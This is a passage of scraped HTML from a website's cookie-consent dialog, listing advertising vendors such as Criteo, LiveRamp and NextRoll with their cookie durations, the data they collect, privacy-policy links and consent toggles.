height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Crimtan Holdings Limited" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="85" id="fc-preference-slider-gvl-vendor-85" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Genius Sports UK Limited</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="87" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Genius Sports UK Limited, View details" tabindex="0" data-vendor-id="87" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="87" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Genius Sports UK Limited, Privacy policy" tabindex="0" data-policy-link="https://www.geniussports.com/policies/media-buying-services-and-tcf-privacy-notice/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Genius Sports UK Limited" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="87"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Criteo SA</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 390 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="91" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Criteo SA, View details" tabindex="0" data-vendor-id="91" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="91" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Criteo SA, Privacy policy" tabindex="0" data-policy-link="https://www.criteo.com/privacy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Criteo SA" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="91"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Adloox SA</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, Non-precise location data</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="93" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Adloox SA, View details" tabindex="0" data-vendor-id="93" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Adloox SA, Privacy policy" tabindex="0" data-policy-link="https://www.adloox.com/legal/privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Adloox SA" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="93"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-93"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Adloox SA" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="93" id="fc-preference-slider-gvl-vendor-93" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Blis Global Limited</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 400 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="94" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Blis Global Limited, View details" tabindex="0" data-vendor-id="94" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="94" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Blis Global Limited, Privacy policy" tabindex="0" data-policy-link="https://blis.com/blis-privacy-policy-for-online-advertising-and-related-uses/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Blis Global Limited" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="94"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Lotame Solutions, Inc</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 274 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="95" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Lotame Solutions, Inc, View details" tabindex="0" data-vendor-id="95" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Lotame Solutions, Inc, Privacy policy" tabindex="0" data-policy-link="https://www.lotame.com/privacy/privacy-notices/services/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Lotame Solutions, Inc" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="95"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>LiveRamp</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="97" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="LiveRamp, View details" tabindex="0" data-vendor-id="97" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="97" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="LiveRamp, Privacy policy" tabindex="0" data-policy-link="https://liveramp.uk/privacy/service-privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, LiveRamp" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="97"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>GroupM UK Limited</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 395 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="98" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="GroupM UK Limited, View details" tabindex="0" data-vendor-id="98" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="98" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="GroupM UK Limited, Privacy policy" tabindex="0" data-policy-link="https://www.groupm.com/privacy-notice" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, GroupM UK Limited" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="98"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-98"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, GroupM UK Limited" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="98" id="fc-preference-slider-gvl-vendor-98" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>LoopMe Limited</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 90 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="109" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="LoopMe Limited, View details" tabindex="0" data-vendor-id="109" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="109" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="LoopMe Limited, Privacy policy" tabindex="0" data-policy-link="https://legal.loopme.com/privacy-center#contract-hyartvn1o" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, LoopMe Limited" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="109"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Dynata LLC</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="110" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Dynata LLC, View details" tabindex="0" data-vendor-id="110" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="110" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Dynata LLC, Privacy policy" tabindex="0" data-policy-link="https://www.dynataprivacy.com/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Dynata LLC" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="110"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Ask Locala</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Non-precise location data, Precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="119" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Ask Locala, View details" tabindex="0" data-vendor-id="119" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Ask Locala, Privacy policy" tabindex="0" data-policy-link="https://asklocala.com/advertising-privacy-policy/?_gl=1*145zs89*_up*MQ..*_ga*MjA4NDgxNDYxOC4xNjk2NTEyNTU5*_ga_VRM83PCHBL*MTY5NjUxMjU1OC4xLjEuMTY5NjUxMjU3NS4wLjAuMA..*_ga_5N7836YC9X*MTY5NjUxMjU1OC4xLjEuMTY5NjUxMjU3NS4wLjAuMA.." href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Ask Locala" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="119"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Azira</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="124" href="#">more</a></div><p>Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="Azira, View details" tabindex="0" data-vendor-id="124" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="Azira, Privacy policy" tabindex="0" data-policy-link="https://azira.com/fr/privacy-policy/#services-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Azira" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="124"><span class="fc-slider-el"></span></span></label><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-124"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, Azira" aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="124" id="fc-preference-slider-gvl-vendor-124" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>DoubleVerify Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Doesn't use cookies.</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Probabilistic identifiers, Browsing and interaction data, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="126" href="#">more</a></div><p></p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="DoubleVerify Inc., View details" tabindex="0" data-vendor-id="126" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="DoubleVerify Inc., Privacy policy" tabindex="0" data-policy-link="https://doubleverify.com/privacy-notice/solutions-privacy-notice" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-legitimate-interest-preference-container" for="fc-preference-slider-gvl-vendor-126"><span class="fc-preference-slider-label">Legitimate interest<button class="fc-help-tip" data-title="How does legitimate interest work?" data-full-info="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." role="tooltip" aria-label="Some vendors are not asking for your consent, but are using your personal data on the basis of their legitimate interest." tabindex="0"><span class="notranslate fc-help-tip-icon" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M"><path d="M11 18h2v-2h-2v2zm1-16C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm0-14c-2.21 0-4 1.79-4 4h2c0-1.1.9-2 2-2s2 .9 2 2c0 2-3 1.75-3 5h2c0-2.25 3-2.5 3-5 0-2.21-1.79-4-4-4z"></path></svg></span></button></span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Legitimate interest, DoubleVerify Inc." aria-pressed="true" tabindex="0" class="fc-preference-legitimate-interest gvl-vendor" data-id="126" id="fc-preference-slider-gvl-vendor-126" checked=""><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>BIDSWITCH GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Probabilistic identifiers, Authentication-derived identifiers, Browsing and interaction data, Non-precise location data, Precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="128" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="BIDSWITCH GmbH, View details" tabindex="0" data-vendor-id="128" href="#">View details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="BIDSWITCH GmbH, Privacy policy" tabindex="0" data-policy-link="https://www.bidswitch.com/privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, BIDSWITCH GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="128"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>IPONWEB GmbH</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 365 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Authentication-derived identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="129" href="#">more</a></div><p>Cookie duration resets each session. Uses other forms of storage.</p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="IPONWEB GmbH, View details" tabindex="0" data-vendor-id="129" href="#">View details</a> | <a class="fc-vendor-device-storage-disclosures" role="button" aria-label="Storage details" tabindex="0" data-vendor-id="129" href="#">Storage details</a> | <a class="fc-vendor-policy-link" role="link" aria-label="IPONWEB GmbH, Privacy policy" tabindex="0" data-policy-link="https://www.iponweb.com/policies-legal/iponweb-privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, IPONWEB GmbH" aria-pressed="false" tabindex="0" class="fc-preference-consent gvl-vendor" data-id="129"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>NextRoll, Inc.</h2></div><div class="fc-preference-description"><div class="fc-iab-vendor-storage-info-container"><p>Cookie duration: 183 (days).</p><div class="fc-vendor-data-categories"><p class="fc-truncated-single-line">Data collected and processed: IP addresses, Device characteristics, Device identifiers, Browsing and interaction data, User-provided data, Non-precise location data, Users’ profiles, Privacy choices</p><a class="fc-vendor-data-categories-see-more" role="button" aria-label="more" tabindex="0" data-vendor-id="130" href="#">more</a></div><p>Cookie duration resets each session. </p></div><div class="fc-preference-container-divider"></div><a class="fc-vendor-purposes-features-list" role="button" aria-label="NextRoll, Inc., View details" tabindex="0" data-vendor-id="130" href="#">View details</a> | <a class="fc-vendor-policy-link" 